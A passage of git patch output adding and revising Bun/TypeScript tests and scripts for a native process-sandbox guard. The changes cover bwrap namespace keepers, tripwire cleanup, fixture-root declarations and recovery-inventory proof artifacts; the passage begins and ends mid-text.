"+JSON.stringify({original,guarded}));console.log("PAYLOAD_SIGNAL_AND_TRAP_MATCH_MAIN");}finally{plan.dispose();fs.rmSync(root,{recursive:true,force:true});}guard.assertNoNativeRefusals();`; + const child=isolatedWitness(code),[exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]);expect(exit,"PAYLOAD_SIGNAL_AND_TRAP_MATCH_MAIN "+err).toBe(0);expect(out).toContain("PAYLOAD_SIGNAL_AND_TRAP_MATCH_MAIN"); +}); + +for(const mode of ["exit","gone","reused"] as const)test(`fork keeper evidence lasts only for its exact descendant: ${mode}`,async()=>{ + const code=fixtureDiscovery+` + const ready=root+"/ready",mount=root+"/mount";fs.mkdirSync(mount); + const command=["/usr/bin/python3","-I","-S","-c",guard.NATIVE_FIXTURE_FORK_EXEC,Bun.which("bwrap"),"--unshare-user","--bind","/","/","--tmpfs",mount,"--","/bin/sh","-c",'printf "%s" "$$" > "$1"; exec /bin/sleep 30',"fixture-keeper",ready]; + const plan=guard.nativeUnknownBoundary(command,{env:{PATH:"/usr/bin:/bin"}}),directory=plan.argv.find(path=>/^\\/tmp\\/odysseus-native-tripwire-[^/]+$/.test(path)),shared=plan.argv.find(path=>/\\/odysseus-native-mask-runtime-[^/]+$/.test(path));let payload; + try{ + const child=spawn(plan.argv[0],plan.argv.slice(1),{env:plan.env,stdio:"ignore"});const exit=await new Promise(resolve=>child.once("close",resolve));if(exit)throw Error("ORIGINAL_FORK_PARENT_EXIT_REQUIRED"); + if(${JSON.stringify(mode)}==="exit"){plan.dispose();if(!fs.existsSync(directory))throw Error("FORK_BIND_SOURCES_RETAINED_WHILE_LIVE");} + const deadline=Date.now()+5000;for(;;){let text="";try{text=fs.readFileSync(ready,"utf8");}catch{}if(/^[1-9][0-9]*$/.test(text)){payload=Number(text);break;}if(Date.now()>deadline)throw Error("DETACHED_KEEPER_READY_AFTER_PARENT_EXIT");await new Promise(resolve=>setTimeout(resolve,2));} + if(!Number.isSafeInteger(payload)||payload<=1)throw Error("EXACT_OWNED_KEEPER_PID_REQUIRED"); + const ownerFile=directory+"/fork-owner",owner=fs.readFileSync(ownerFile,"utf8").split(" "); + if(${JSON.stringify(mode)}==="gone")fs.writeFileSync(ownerFile,"2147483647 "+owner[1]); + if(${JSON.stringify(mode)}==="reused")fs.writeFileSync(ownerFile,owner[0]+" "+(BigInt(owner[1])+1n)); + plan.dispose(); + if(${JSON.stringify(mode)}==="exit"){ + if(!fs.existsSync(directory))throw Error("FORK_BIND_SOURCES_RETAINED_WHILE_LIVE"); + process.kill(payload,"SIGTERM");payload=undefined; + } + const cleanupDeadline=Date.now()+5000;while(fs.existsSync(directory)){if(Date.now()>cleanupDeadline)throw Error("FORK_EVIDENCE_RELEASED_ON_EXIT_OR_REUSE");await new Promise(resolve=>setTimeout(resolve,5));} + console.log(JSON.stringify({directory,shared})); + }finally{if(payload)try{process.kill(payload,"SIGKILL");}catch{}plan.dispose();fs.rmSync(root,{recursive:true,force:true});}guard.assertNoNativeRefusals();`; + const child=isolatedWitness(code),[exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]);expect(exit,"DETACHED_KEEPER_READY_AFTER_PARENT_EXIT "+err).toBe(0);const result=JSON.parse(out),fs=await import("node:fs");expect(fs.existsSync(result.directory),"FORK_TRIPWIRE_DIRECTORY_RELEASED").toBe(false);expect(fs.existsSync(result.shared),"FORK_SHARED_STUB_RELEASED_AT_PROCESS_EXIT").toBe(false); +}); diff --git a/tests/native-worker-classification.test.ts b/tests/native-worker-classification.test.ts index 858b1081f0..df17c1200f 100644 --- a/tests/native-worker-classification.test.ts +++ b/tests/native-worker-classification.test.ts @@ -115,3 +115,34 @@ test("tripwire preserves the original private-index live cache shell",async()=>{ expect(exit,err).toBe(0);expect(out,"CACHE_PROBE_OUTPUT_UNCHANGED").toBe(".context-cache.jsonl=masked\n0\n.asset-cache.jsonl=masked\n0\ndir=0\n"); }finally{rmSync(root,{recursive:true,force:true});} }); + +test("product namespace table discovers the real unshare keeper script and options",async()=>{ + const {nativeProductNamespaceWrappers}=await import("../scripts/test-native-guard"); + const found:{script:string;prefix:string[]}[]=[]; + for(const file of new Bun.Glob("packages/*/src/**/*.ts").scanSync({cwd:join(import.meta.dir,"..")})){ + const source=ts.createSourceFile(file,readFileSync(join(import.meta.dir,"..",file),"utf8"),ts.ScriptTarget.Latest,true),literals=new Map(); + function constants(node:ts.Node):void{if(ts.isVariableDeclaration(node)&&ts.isIdentifier(node.name)&&node.initializer&&(ts.isStringLiteral(node.initializer)||ts.isNoSubstitutionTemplateLiteral(node.initializer)))literals.set(node.name.text,node.initializer.text);ts.forEachChild(node,constants);}constants(source); + function visit(node:ts.Node):void{ + if(ts.isArrayLiteralExpression(node)){ + const words=node.elements.map(item=>ts.isStringLiteral(item)||ts.isNoSubstitutionTemplateLiteral(item)?item.text:ts.isIdentifier(item)?literals.get(item.text):undefined); + const shell=words.findIndex((word,i)=>word==="/bin/sh"&&words[i+1]==="-c"); + if(shell>0&&words.slice(0,shell).includes("--fork")&&words.slice(0,shell).includes("--map-root-user")){ + expect(words[shell+2],"NAMESPACE_SCRIPT_LITERAL_DISCOVERABLE "+file).toBeDefined();found.push({script:words[shell+2]!,prefix:words.slice(1,shell) as string[]}); + } + }ts.forEachChild(node,visit); + }visit(source); + } + expect(found,"EVERY_PRODUCT_UNSHARE_KEEPER_HAS_EXACT_TABLE_ROW").toEqual(nativeProductNamespaceWrappers.map(row=>({script:row.script,prefix:[...row.prefix]}))); +}); + +test("product non-bwrap proc observers remain positively non-native and unchanged",async()=>{ + const {nativeWorkerClassification}=await import("../scripts/test-native-guard"); + const programs=[['native-checkpoint-reader.ts','STAGE_AUTHORITY_CLIENT',false],['native-checkpoint-reader.ts','NATIVE_CHECKPOINT_READER_PROGRAM',false],['native-checkpoint-reader.ts','NATIVE_CHECKPOINT_CLIENT_PROGRAM',false],['worker-identity-program.ts','WORKER_IDENTITY_CLIENT',false],['native-brain-stage.ts','STAGE_PROGRAM',true]] as const; + for(const [file,name,unshare] of programs){ + const source=ts.createSourceFile(file,readFileSync(join(import.meta.dir,"../packages/ui-sdk/src/server",file),"utf8"),ts.ScriptTarget.Latest,true);let program:string|undefined; + const visit=(node:ts.Node):void=>{if(ts.isVariableDeclaration(node)&&node.name.getText(source)===name&&node.initializer&&ts.isTaggedTemplateExpression(node.initializer)&&ts.isNoSubstitutionTemplateLiteral(node.initializer.template))program=node.initializer.template.rawText;ts.forEachChild(node,visit);};visit(source);expect(program,"REAL_PROC_OBSERVER_PROGRAM "+name).toBeDefined(); + const argv=[...(unshare?["/usr/bin/unshare","--mount"]:[]),"/usr/bin/python3","-I","-S","-c",program!,"/tmp/odysseus-control","fixture-token"]; + expect(nativeWorkerClassification(argv,{env:{},cwd:"/"}),"PROC_OBSERVER_STAYS_POSITIVELY_NON_NATIVE "+name).toBe("non-native"); + const env={BRAIN_WORKER_LAUNCH:JSON.stringify({command:argv,argv,env:{}})};expect(nativeWorkerBoundary(env).env,"NON_NATIVE_PROC_OBSERVER_METADATA_UNCHANGED "+name).toBe(env); + } +}); From 906745512f216b71c958c46ac0e685dddfa64ae9 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sun, 22 Nov 2026 10:44:03 +0000 Subject: [PATCH 104/187] test(native): declare copied runtime and retain recovery capacity inputs --- scripts/capture-turn-surface.ts | 4 ++-- scripts/native-proof/recovery-inventory.ts | 5 +++++ tests/native-fixture-files.test.ts | 19 +++++++++++++++++++ 3 files changed, 26 insertions(+), 2 deletions(-) diff --git a/scripts/capture-turn-surface.ts b/scripts/capture-turn-surface.ts index 053d772880..36745c6d57 100644 --- a/scripts/capture-turn-surface.ts +++ b/scripts/capture-turn-surface.ts @@ -93,7 +93,7 @@ export async function captureSurface(control?: { const call = isMain ? calls[mainRequests++] : undefined; return scriptedReply(body.model, call, bodies.length, control?.finalOutputTokens ?? 1); } }); -nativeScriptedService(server.url.origin,{fixtureRoots:[fixture.root,home]}); +const releaseAuthority=nativeScriptedService(server.url.origin,{fixtureRoots:[fixture.root,home,...(installedCliPath?[dirname(installedCliPath)]:[])],...(installedCliPath?{fixtureFiles:[installedCliPath]}:{})}); const abortController = new AbortController(); const timeout = setTimeout(() => abortController.abort(), watchdogMs(30_000)); let completion: string | undefined; @@ -168,7 +168,7 @@ nativeScriptedService(server.url.origin,{fixtureRoots:[fixture.root,home]}); fixtureSkills: fixture.skills, request, frames, rawFrames, requests: bodies.filter(body => body.tools?.some(tool => tool.name === "Read")) }; } finally { - clearTimeout(timeout); overlapped?.spare.close(); server.stop(true); + clearTimeout(timeout); overlapped?.spare.close(); server.stop(true);releaseAuthority(); await bridge?.instance.close(); await core.instance.close(); await brain.client.close(); await prepared.close(); fixture.close(); rmSync(home, { recursive: true, force: true }); diff --git a/scripts/native-proof/recovery-inventory.ts b/scripts/native-proof/recovery-inventory.ts index 06e256f3f3..8c9c1ef773 100644 --- a/scripts/native-proof/recovery-inventory.ts +++ b/scripts/native-proof/recovery-inventory.ts @@ -6,6 +6,7 @@ import { createNativeBrainManager } from "../../packages/ui-sdk/src/server/nativ import { createNativeBrainManagerClient } from "../../packages/ui-sdk/src/server/native-brain-manager-client"; import { NativeRecoveryIndex } from "../../packages/ui-sdk/src/server/native-recovery-index"; import type { Database } from "bun:sqlite"; +import {writePrivateProofArtifact} from "../../packages/ui-sdk/tests/fixtures/private-proof-artifact"; export async function proveRecoveryInventory(artifacts: string): Promise { const brain = "/brain-fixture/brain", state = "/brain-fixture/.brain-native/state"; @@ -130,6 +131,10 @@ export async function proveRecoveryInventory(artifacts: string): Promise { const healthy = await (await manager.run({operation:"checkpoint",id:healthyId})).json() as {id:string}; expect(healthy.id, "NATIVE_MALFORMED_INTENT_OTHER_CHECKPOINT_WORKS").toBe(healthyId); await expect(manager.run({operation:"checkpoint",id:malformedId}), "NATIVE_QUARANTINE_ID_CANNOT_BE_REUSED").rejects.toThrow("quarantined"); + // A prior failed hosted phase may retain valid stage reservations. Preserve + // only fixed counts/bytes; never loosen the recovery control's 4 KiB budget. + const inheritedStages=fs.readdirSync(state).filter(name=>name.endsWith(".json")).flatMap(name=>{try{const value=JSON.parse(fs.readFileSync(join(state,name),"utf8"));return value.kind==="stage"&&value.state!=="deleted"?[value]:[];}catch{return [];}}); + writePrivateProofArtifact(artifacts,"recovery-stage-admission.json",JSON.stringify({stagingChargedBytes:ready.recovery.stagingChargedBytes,quarantinedIntents:ready.recovery.quarantinedIntents,retainedStageCount:inheritedStages.length,retainedStageBytes:inheritedStages.reduce((sum,value)=>sum+(Number.isSafeInteger(value.stageRequest?.allowanceBytes)?value.stageRequest.allowanceBytes:0),0)})); const stage = await (await manager.run({operation:"prepareStage",id:id(100006),checkpointId:healthyId,allowanceBytes:4096})).json() as {id:string}; expect(stage.id, "NATIVE_MALFORMED_INTENT_HEALTHY_STAGE_PREPARES").toBe(id(100006)); expect(ready.recovery, "NATIVE_ABSENT_STAGE_HAS_NO_STORAGE_CHARGE").toMatchObject({quarantinedIntents:1,stagingChargedBytes:0}); diff --git a/tests/native-fixture-files.test.ts b/tests/native-fixture-files.test.ts index b55a1d1e20..363d5d0c85 100644 --- a/tests/native-fixture-files.test.ts +++ b/tests/native-fixture-files.test.ts @@ -63,3 +63,22 @@ for(const mode of ["outside","symlink","parent-symlink","dotdot","directory","ha const child=spawnGuardFixture([process.execPath,"-e",code]);const [exit,out]=await Promise.all([child.exited,child.guardOutput()]); expect(exit,"CAPTURED_FILE_"+mode.toUpperCase()+"_REFUSED").not.toBe(0);expect(out).toContain("fixture files require a canonical unlinked regular file under a declared root"); }); + +test("captureSurface declares the byte-identical copied executable at both fixture placements",async()=>{ + const fs=await import("node:fs"),ts=await import("typescript"),crypto=await import("node:crypto"),{dirname}=await import("node:path"); + const source=ts.createSourceFile("capture-turn-surface.ts",fs.readFileSync(join(import.meta.dir,"../scripts/capture-turn-surface.ts"),"utf8"),ts.ScriptTarget.Latest,true);let declaration:string|undefined; + function visit(node:import("typescript").Node):void{if(ts.isCallExpression(node)&&node.expression.getText(source)==="nativeScriptedService")declaration=node.arguments[1]?.getText(source);ts.forEachChild(node,visit);}visit(source);expect(declaration,"REAL_CAPTURE_SERVICE_DECLARATION_REQUIRED").toBeDefined(); + const root=fs.mkdtempSync("/tmp/odysseus-capture-executable-"),brain=join(root,"brain"),home=join(root,"home"),stage=join(root,"stage");for(const path of [brain,home,stage])fs.mkdirSync(path); + const binary=join(root,"stand-in"),build=Bun.spawnSync(["cc","-static","-Os","-x","c","-","-o",binary],{stdin:Buffer.from('#include \nint main(void){write(1,"Ithaca",6);return 0;}'),stdout:"pipe",stderr:"pipe"});expect(build.exitCode,build.stderr.toString()).toBe(0); + fs.mkdirSync(join(import.meta.dir,"../tmp"),{recursive:true});const outside=fs.mkdtempSync(join(import.meta.dir,"../tmp/odysseus-copied-cli-")),inside=fs.mkdtempSync("/tmp/odysseus-copied-cli-"); + const {nativeScriptedService,nativeFixtureFileMounts}=await import("../scripts/test-native-guard"); + try{for(const placement of [outside,inside]){ + const copied=join(placement,"claude");fs.copyFileSync(binary,copied);fs.writeFileSync(join(placement,".credentials.json"),"fixture-only-login"); + const fixture=Function("fixture","home","installedCliPath","dirname","return ("+declaration+")")({root:brain},home,copied,dirname); + expect(fixture.fixtureFiles,"EXACT_COPIED_EXECUTABLE_DECLARED").toEqual([copied]);const leave=nativeScriptedService("http://127.0.0.1:9",fixture); + try{ + const mounts=nativeFixtureFileMounts(fs.mkdtempSync(join(stage,"placement-"))),program='import hashlib,subprocess,os\np='+JSON.stringify(copied)+'\nassert hashlib.sha256(open(p,"rb").read()).hexdigest()=='+JSON.stringify(crypto.createHash("sha256").update(fs.readFileSync(binary)).digest("hex"))+'\nassert subprocess.check_output([p])==b"Ithaca"\nassert not os.path.exists(os.path.dirname(p)+"/.credentials.json")\nprint("COPIED_RUNTIME_INPUT_VISIBLE_BYTE_IDENTICAL")'; + const child=spawnGuardFixture(["bwrap","--unshare-user","--unshare-pid","--unshare-net","--ro-bind","/","/","--tmpfs","/tmp","--tmpfs",placement,...mounts,"--","/usr/bin/python3","-I","-S","-c",program]);const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]);expect(exit,"COPIED_RUNTIME_INPUT_VISIBLE_BYTE_IDENTICAL "+err).toBe(0);expect(out).toContain("COPIED_RUNTIME_INPUT_VISIBLE_BYTE_IDENTICAL"); + }finally{leave();} + }}finally{for(const path of [outside,inside,root])fs.rmSync(path,{recursive:true,force:true});} +}); From de2869c68af576d3d0cbb1667a6396bdb3e2c9a9 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sun, 22 Nov 2026 11:24:29 +0000 Subject: [PATCH 105/187] fix(test): clean refused tripwire exits and parse fixture roots --- scripts/test-native-guard.ts | 2 +- tests/native-tripwire.test.ts | 14 ++++++++++++++ tests/native-worker-fixture-inventory.test.ts | 14 ++++++++++++-- 3 files changed, 27 insertions(+), 3 deletions(-) diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index 4333a9457c..0933a39879 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -1798,7 +1798,7 @@ int main(int argc,char **argv){ if(compiled.exitCode!==0)refuse("restriction cannot be enforced",undefined,compilerDiagnostic(String(compiled.stderr)));chmodSync(target!,0o555); } tripwireRuntime={directory,stub,eventTarget,installer,supervisor}; - process.once("exit",()=>{for(const finish of [...tripwireFinalizers])finish();rmSync(directory,{recursive:true,force:true});}); + process.prependOnceListener("exit",()=>{for(const finish of [...tripwireFinalizers])finish();rmSync(directory,{recursive:true,force:true});}); return tripwireRuntime; }catch(error){rmSync(directory,{recursive:true,force:true});throw error;} } diff --git a/tests/native-tripwire.test.ts b/tests/native-tripwire.test.ts index 6800c6676e..545207f93e 100644 --- a/tests/native-tripwire.test.ts +++ b/tests/native-tripwire.test.ts @@ -216,6 +216,20 @@ test("completed unknown launches remove their private directories and reuse one const result=JSON.parse(out);expect(result.launches).toBe(4);expect((await import("node:fs")).existsSync(result.shared),"SHARED_STUB_REMOVED_AT_PROCESS_EXIT").toBe(false); }); +test("a refused process releases tripwire evidence before the refusal exit listener",async()=>{ + const code=fixtureDiscovery.replace("?tripwire-witness","")+` + (await import(${JSON.stringify(join(import.meta.dir,"../scripts/test-network-guard.ts"))})).installNetworkGuard(); + const plan=guard.nativeUnknownBoundary(["/bin/sh","-c",'i=1; true'],{env:process.env}); + const directory=plan.argv.find(path=>/^\\/tmp\\/odysseus-native-tripwire-[^/]+$/.test(path)),shared=plan.argv.find(path=>/\\/odysseus-native-mask-runtime-[^/]+$/.test(path)); + if(!directory||!shared)throw Error("TRIPWIRE_EVIDENCE_PATHS_REQUIRED");console.log(JSON.stringify({directory,shared})); + try{guard.refuseNativeClaude(target);}catch{}fs.rmSync(root,{recursive:true,force:true});process.exit(0);`; + const child=isolatedWitness(code),[exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); + expect(exit,"CAUGHT_REFUSAL_STILL_FAILS_PROCESS "+err).not.toBe(0); + const result=JSON.parse(out),fs=await import("node:fs"); + try{expect(fs.existsSync(result.directory),"REFUSED_PROCESS_RELEASES_TRIPWIRE_DIRECTORY").toBe(false);expect(fs.existsSync(result.shared),"REFUSED_PROCESS_RELEASES_SHARED_STUB").toBe(false);} + finally{fs.rmSync(result.directory,{recursive:true,force:true});fs.rmSync(result.shared,{recursive:true,force:true});} +}); + for(const signal of ["SIGKILL","SIGTERM"] as const)test(`unknown shell preserves payload lifetime and closes stdout on ${signal}`,async()=>{ const code=fixtureDiscovery+` const plan=guard.nativeUnknownBoundary(["/bin/sh","-c",'printf "%s\\n" "$$"; while :; do /bin/sleep 0.1; done'],{env:process.env}); diff --git a/tests/native-worker-fixture-inventory.test.ts b/tests/native-worker-fixture-inventory.test.ts index 6b719b81a8..8dc7bced0a 100644 --- a/tests/native-worker-fixture-inventory.test.ts +++ b/tests/native-worker-fixture-inventory.test.ts @@ -26,8 +26,18 @@ for(const name of ["provider-history-probe","provider-history-attachment-probe", }ts.forEachChild(node,visit);}visit(source);expect(declared).toBeGreaterThan(0); }); for(const name of ["autonomous-dispatch","autonomous-app","autonomous-runtime","autonomous-containment","claude-worker","policy-boundary"])test(`app native fixture declares its whole private temporary tree: ${name}`,()=>{ - const source=read(`tests/fixtures/${name}-probe.ts`); - expect(source).toContain("fixtureRoots: [root]"); + const file=`tests/fixtures/${name}-probe.ts`,source=ts.createSourceFile(file,read(file),ts.ScriptTarget.Latest,true),declarations:string[][]=[]; + function visit(node:ts.Node){ + if(ts.isCallExpression(node)&&node.expression.getText(source)==="nativeScriptedService"){ + const options=node.arguments[1];expect(options&&ts.isObjectLiteralExpression(options),"EXPLICIT_SCRIPTED_FIXTURE_OPTIONS").toBe(true); + if(options&&ts.isObjectLiteralExpression(options)){ + const roots=options.properties.find(prop=>ts.isPropertyAssignment(prop)&&prop.name.getText(source)==="fixtureRoots") as ts.PropertyAssignment|undefined; + expect(roots&&ts.isArrayLiteralExpression(roots.initializer),"EXPLICIT_SCRIPTED_FIXTURE_ROOTS").toBe(true); + if(roots&&ts.isArrayLiteralExpression(roots.initializer))declarations.push(roots.initializer.elements.map(node=>node.getText(source))); + } + }ts.forEachChild(node,visit); + }visit(source); + expect(declarations,"REQUIRED_SCRIPTED_FIXTURE_ROOTS").toEqual([name==="autonomous-runtime"?["root","brainPath"]:["root"]]); }); // The enforcement entry re-enters the RTK view before constructing its worker; From 5ce2de9ab494f6e674e5b30899b38d633d5de93e Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sun, 22 Nov 2026 11:24:39 +0000 Subject: [PATCH 106/187] test(native): wait for atomically published keeper readiness --- tests/native-strict-admission.test.ts | 24 ++++++++++++++++++++---- 1 file changed, 20 insertions(+), 4 deletions(-) diff --git a/tests/native-strict-admission.test.ts b/tests/native-strict-admission.test.ts index 086aec2b90..aecb0827b8 100644 --- a/tests/native-strict-admission.test.ts +++ b/tests/native-strict-admission.test.ts @@ -4,6 +4,23 @@ import {join} from "node:path"; import {watchdogMs} from "../scripts/test-deadlines"; import {spawnGuardFixture} from "./helpers/native-receipt-fixture"; const repo=join(import.meta.dir,".."); +/** Existence is not readiness: a shell redirection can publish an empty file. */ +async function keeperReadyPid(path:string,timeoutMs:number):Promise{ + const deadline=Date.now()+timeoutMs; + for(;;){ + try{const text=(await Bun.file(path).text()).trim();if(/^[1-9][0-9]*$/.test(text)){const pid=Number(text);if(Number.isSafeInteger(pid)&&pid>1)return pid;}} + catch(error){if((error as NodeJS.ErrnoException).code!=="ENOENT")throw error;} + if(Date.now()>deadline)throw Error("REAL_MANAGED_KEEPER_READY_REQUIRED"); + await Bun.sleep(5); + } +} +test("managed keeper readiness waits past an empty published file",async()=>{ + const root=mkdtempSync("/tmp/odysseus-keeper-ready-");let publish:ReturnType|undefined; + try{const path=join(root,"ready");writeFileSync(path,"");publish=setTimeout(()=>writeFileSync(path,String(process.pid)),50); + expect(await keeperReadyPid(path,watchdogMs(5000)),"READY_MEANS_A_COMPLETE_NONZERO_PID").toBe(process.pid); + }finally{clearTimeout(publish);rmSync(root,{recursive:true,force:true});} +}); + const modes=["managed-snapshot-reuse","managed-ticket-owner","managed-ticket-before-launch","ordinary-other-owner","tree-inherited-released","managed-complete","managed-wrong-checkpoint","managed-fd-before-launch","managed-owner-released","managed-owner-before-launch","managed-reuse","managed-other-scope","managed-start","managed-namespace","managed-fd","managed-root","managed-unmanaged","managed-observed-unmanaged","complete","checkpoint-only","checkpoint-released","checkpoint-released-before-launch","forged","released","release-before-launch","alias","dotdot","writable","wrong-target","wrong-brain","duplicate","tree-declare-parent","tree-wrong-brain","tree-swapped","tree-alias","tree-outside","tree-parent","tree-replaced","tree-released"]; for(const mode of modes)test(`strict native product plan admission: ${mode}`,async()=>{ const root=mkdtempSync("/tmp/odysseus-strict-admission-"); @@ -39,13 +56,12 @@ let plan,output,undeclare,otherView,inheritedLeave;try{ let storage,unregister; if(mode.startsWith("managed-")){ const mount=join(root,".brain-native/stages/22222222-2222-4222-8222-222222222222");fs.mkdirSync(mount,{recursive:true}); - const readyFile=join(root,"keeper-ready"),keeperArgv=["bwrap","--unshare-user","--bind","/","/","--tmpfs",mount,"--proc","/proc","--dev","/dev","--","/bin/sh","-c",'mkdir -p "$1/merged/workspaces"; echo $$ > "$2"; exec sleep "$3"',"odysseus-managed-keeper",mount,readyFile,String(watchdogMs(30000)/1000)]; + const readyFile=join(root,"keeper-ready"),keeperArgv=["bwrap","--unshare-user","--bind","/","/","--tmpfs",mount,"--proc","/proc","--dev","/dev","--","/bin/sh","-c",'mkdir -p "$1/merged/workspaces" && printf %s "$$" > "$2.tmp" && mv -- "$2.tmp" "$2" && exec sleep "$3"',"odysseus-managed-keeper",mount,readyFile,String(watchdogMs(30000)/1000)]; // A remote manager's keeper is not a guard-observed child. Fork through a // short-lived manager stand-in, then prove ownership through the descriptor. const {NATIVE_FIXTURE_FORK_EXEC}=await import(${JSON.stringify(join(repo,"scripts/test-native-guard.ts"))}); const managerChild=Bun.spawn(["/usr/bin/python3","-I","-S","-c",NATIVE_FIXTURE_FORK_EXEC,...keeperArgv],{env:{PATH:"/usr/bin:/bin"},stdin:"ignore",stdout:"ignore",stderr:"ignore"});await managerChild.exited; - const readyDeadline=Date.now()+watchdogMs(5000);while(!fs.existsSync(readyFile)){if(Date.now()>readyDeadline)throw Error("REAL_MANAGED_KEEPER_READY_REQUIRED");await Bun.sleep(5);} - const pid=Number(fs.readFileSync(readyFile,"utf8").trim()); + const pid=await (${keeperReadyPid.toString()})(readyFile,watchdogMs(5000)); const fd=fs.openSync('/proc/'+pid+'/root'+mount,'r'),start=fs.readFileSync('/proc/'+pid+'/stat','utf8').replace(/^.*\\) /s,'').split(' ')[19];let finishObserved;const observedExit=new Promise(resolve=>finishObserved=resolve); storage={root:'/proc/'+process.pid+'/fd/'+fd,mount,namespacePid:pid,namespaceStart:start,retain(){},release(){fs.closeSync(fd);try{process.kill(pid,"SIGTERM");}catch{}finishObserved(0);}}; output={output:{source:join(storage.root,"merged"),target:"/tmp/brain-maintenance-output",storage},cleanup(){unregister?.();storage.release();}}; @@ -111,6 +127,6 @@ let plan,output,undeclare,otherView,inheritedLeave;try{ const child=spawnGuardFixture([process.execPath,file],{env:{...process.env},timeout:watchdogMs(20000)}); const [code,out,receipts]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]);const err=receipts; if(mode==="complete"||mode==="checkpoint-only"||mode==="managed-complete"){expect(code,"STRICT_COMPLETE_PRODUCT_PLAN "+err+receipts).toBe(0);expect(out).toContain("STRICT_PLAN_ALL_BINDS_ADMITTED");} - else{expect(code,"STRICT_ROLE_REFUSES "+mode+" "+out).not.toBe(0);expect(err+receipts,"EXPECTED_ROLE_REFUSAL "+mode).not.toContain("UNSAFE_STRICT_PLAN_ADMITTED");expect(err+receipts,"ROLE_REFUSAL_IS_THE_CLAIMED_CAUSE "+mode).toMatch(/native checkpoint bind|native fixture turn data declaration unavailable|worker bind was not created or staged by the fixture|fixture keeper|managed fixture keeper/);if(["checkpoint-released","checkpoint-released-before-launch","forged","writable","wrong-target","duplicate"].includes(mode))expect(receipts,"CHECKPOINT_FAILURE_NAMES_FIXED_PRODUCT_ROLE").toContain('"sourceKind":"product-checkpoint"');} + else{expect(code,"STRICT_ROLE_REFUSES "+mode+" "+out).not.toBe(0);expect(err+receipts,"EXPECTED_ROLE_REFUSAL "+mode).not.toContain("UNSAFE_STRICT_PLAN_ADMITTED");if(mode==="managed-snapshot-reuse")expect(receipts,"REUSE_REFUSAL_AFTER_SUCCESSFUL_SETUP").toContain("managed fixture keeper snapshot was already used");expect(err+receipts,"ROLE_REFUSAL_IS_THE_CLAIMED_CAUSE "+mode).toMatch(/native checkpoint bind|native fixture turn data declaration unavailable|worker bind was not created or staged by the fixture|fixture keeper|managed fixture keeper/);if(["checkpoint-released","checkpoint-released-before-launch","forged","writable","wrong-target","duplicate"].includes(mode))expect(receipts,"CHECKPOINT_FAILURE_NAMES_FIXED_PRODUCT_ROLE").toContain('"sourceKind":"product-checkpoint"');} }finally{rmSync(root,{recursive:true,force:true});} }); From 1ae2a1205d95cda1928eec3e8829cdb5407fcc2c Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sun, 22 Nov 2026 14:31:06 +0000 Subject: [PATCH 107/187] Fix global native test isolation across fixture launch paths --- docs/process/testing.md | 1 + experiments/2052-title-provenance/probe.ts | 8 +- .../helpers/compute/local-process-provider.ts | 6 +- .../tests/fixtures/provider-history-probe.ts | 5 +- .../tests/worker-steps-event-loop.test.ts | 2 +- .../tests/helpers/fixture-turn-data-tree.ts | 9 +- .../tests/subscription-login.test.ts | 4 + scripts/diagram-export-source.mjs | 2 +- scripts/native-proof/native-connect.c | 49 ++++-- scripts/native-proof/native-runtime-carrier.c | 50 ++++++ scripts/native-runtime-pin.ts | 54 +++++++ scripts/native-shared-audit.ts | 72 +++++++++ scripts/native-test-receipts.ts | 18 ++- scripts/native-title-collector.ts | 35 +++++ scripts/test-native-guard.ts | 142 +++++++++++++----- scripts/test-network-guard.ts | 5 +- tests/autonomous-containment.test.ts | 45 ++++-- tests/experiment-tier.test.ts | 2 +- tests/fixtures/autonomous-app-probe.ts | 2 +- .../fixtures/autonomous-containment-probe.ts | 42 +++++- tests/helpers/test-invocation-fixture.ts | 2 +- tests/helpers/unit-worker-fixture.ts | 2 +- tests/local-checks.test.ts | 2 +- tests/native-copied-turn-tree.test.ts | 27 +++- tests/native-guard-copy-closure.test.ts | 2 +- tests/native-offline-boundary.test.ts | 35 ++++- tests/native-policy-artifact.test.ts | 2 +- tests/native-runtime-pin.test.ts | 51 +++++++ tests/native-shared-audit.test.ts | 42 ++++++ tests/native-socket-broker-exit.test.ts | 18 +++ tests/native-title-collector.test.ts | 32 ++++ tests/native-worker-fixture-inventory.test.ts | 2 +- .../private-fixture-directory-access.test.ts | 35 ++++- tests/provider-history-host-authority.test.ts | 11 +- tests/test-determinism.test.ts | 2 +- tests/test-script.test.ts | 2 +- tests/test-shards.test.ts | 2 +- tests/workspace-lease.test.ts | 2 +- 38 files changed, 720 insertions(+), 104 deletions(-) create mode 100644 scripts/native-proof/native-runtime-carrier.c create mode 100644 scripts/native-runtime-pin.ts create mode 100644 scripts/native-shared-audit.ts create mode 100644 scripts/native-title-collector.ts create mode 100644 tests/native-runtime-pin.test.ts create mode 100644 tests/native-shared-audit.test.ts create mode 100644 tests/native-socket-broker-exit.test.ts create mode 100644 tests/native-title-collector.test.ts diff --git a/docs/process/testing.md b/docs/process/testing.md index 5238885f6f..df974192b7 100644 --- a/docs/process/testing.md +++ b/docs/process/testing.md @@ -695,6 +695,7 @@ pair with reason `other` through `scripts/ci-timings.ts record` | --- | --- | | `BRAIN_HOST_ADMISSION_LIMIT` | Concurrent heavy commands admitted on this host. Defaults to one per four CPUs, at least 1; anything but a positive integer is refused. | | `BRAIN_NATIVE_RECEIPT` | Internal descriptor and device/inode identity for guard-owned test receipts. The preload consumes it; native payloads and protocol-only worker bootstraps do not inherit it. | +| `BRAIN_NATIVE_EXEC_AUDIT` | Internal read-only outer-audit attestation. The preload consumes it; guarded fixture descendants verify the owning tracer PID/start and pinned private trace inode. Native payloads never inherit it. | | `BRAIN_TEST_RESOURCE_ROOT` | Internal, one-generation launcher/preload handoff for process-lifetime test storage. The preload consumes and removes it before tests run; the launcher deletes the tree after the child group drains. | | `BRAIN_HOST_ADMISSION_DIR` | Ledger directory. Defaults to `brain-host-admission-` under the system temporary directory. The 